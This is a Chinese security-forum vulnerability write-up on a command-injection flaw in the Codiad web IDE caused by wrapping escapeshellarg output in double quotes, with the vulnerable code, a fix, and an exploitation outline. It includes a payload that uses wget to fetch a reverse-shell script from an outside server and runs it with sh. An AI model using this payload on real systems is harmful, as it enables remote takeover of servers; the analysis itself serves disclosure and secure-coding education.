Codiad 新的命令执行漏洞及 php 的 escapeshellarg 安全性分析

王一航 / 2017-08-30 15:44:00 / 浏览数 4036 安全技术 漏洞分析 顶(0) 踩(0)

简介：

Codiad 是一个开源基于Web的IDE应用程序，用于在线编写和编辑代码。

这个应用程序采用PHP开发，并且不需要一个SQL数据库，数据是存储在一个JSON格式的文件中。

它的界面包含三个面板：

项目/文件管理器具
代码编辑器
菜单/功能

简要分析：

这个漏洞的成因不能说是开发者的疏忽了
应该说是开发者太过于信任 php 的 escapshellarg 这个函数
后来想了一下，我觉得可能很多开发者都没有意识到这个函数的正确使用方式
很有可能别的 php 项目中也存在相同的漏洞
具体信息如下文：

漏洞点以及利用方式：

> components/filemanager/class.filemanager.php

具体在这句话：

```
$output = shell_exec('find -L ' . $this->path . ' -iregex  ".*' . $this->search_file_type  . '" -type f | xargs grep -i -I -n
```

变量 $this->search_file_type
这个变量在使用之前是经过 escapeshellarg 函数处理过的
可能很多人会问了，既然都已经经过 php 的官方函数处理过了
还会存在漏洞吗？
很不幸，由于开发者没有正确使用这个函数，漏洞是存在的

■■ escapeshellarg ■■■■■■■■■■■■ shell ■■ ■■■■■■■■■
■■■■■■■■

而且漏洞的危害就是远程命令执行

接下来我们来测试一下漏洞是否可用
首先搭建环境

使用 ping 命令来测试一下

可以发现接收到了 icmp 数据包裹
说明命令确实是被执行了的
那么我们来测试一下是否可以成功反弹一个 shell 呢
由于 escapeshellarg 函数会在被过滤的参数两边添加单引号，并且会对参数中的所有单引号进行转义
那么我们需要找一些不需要单引号和双引号的命令来实现反弹 shell 的操作
笔者想到的一个方法是利用 wget 下载反弹 shell 的脚本，然后通过 sh 去执行这个脚本即可
wget 通过 -P 参数可以指定保存路径
我们可以在公网 vps 上监听 80 端口，将反弹 shell 的命令写入到 index.html
然后通过 wget 将其下载到目标服务器的一个可写目录下 (/tmp) ， 然后再用 sh 执行这个脚本
payload 如下：

```
wget 8.8.8.8 -p /tmp
sh /tmp/index.html
```

成因分析：

bash 在解析单引号和双引号的时候是有区别的
在解析单引号的时候，被单引号包裹的内容中如果有变量，这个变量名是不会被解析成值的
但是双引号不同，bash 会将变量名解析成变量的值再使用

如下图：

我们都知道反引号是可以执行命令的，那么如果反引号位于单引号和双引号内部，会有什么区别吗？

可以看到在双引号中的反引号内容会被当做命令执行

那么这个漏洞的成因即为：虽然使用了 escapeshellarg 函数，但是经过这个函数过滤的参数又在外部被双引号包裹起来，因此，就导致了命令执行漏洞

参考 php.net 中的官方文档：

这个函数会给参数左右添加单引号，因此正确的做法是这样：

```
$output = shell_exec('find -L ' . $this->path . ' -iregex  '.escapeshellarg('.*'.$this->search_file_type).' -type f | xargs gr
```

参考资料：

> http://www.grymoire.com/Unix/Quote.html
> http://wiki.bash-hackers.org/syntax/quoting

总结：

总结一下，经过 php 的 escapeshellarg 的 shell 命令的参数
如果会被双引号包裹，那么个这个函数事实上形同虚设
所以千万不能在使用这个函数的时候再自作主张在两侧添加双引号

上一篇：Codiad 漏洞挖掘笔记 (0x... 下一篇：自动化识别违法信息活动

1. 0 条回复
   - 动动手指，沙发就是你的了！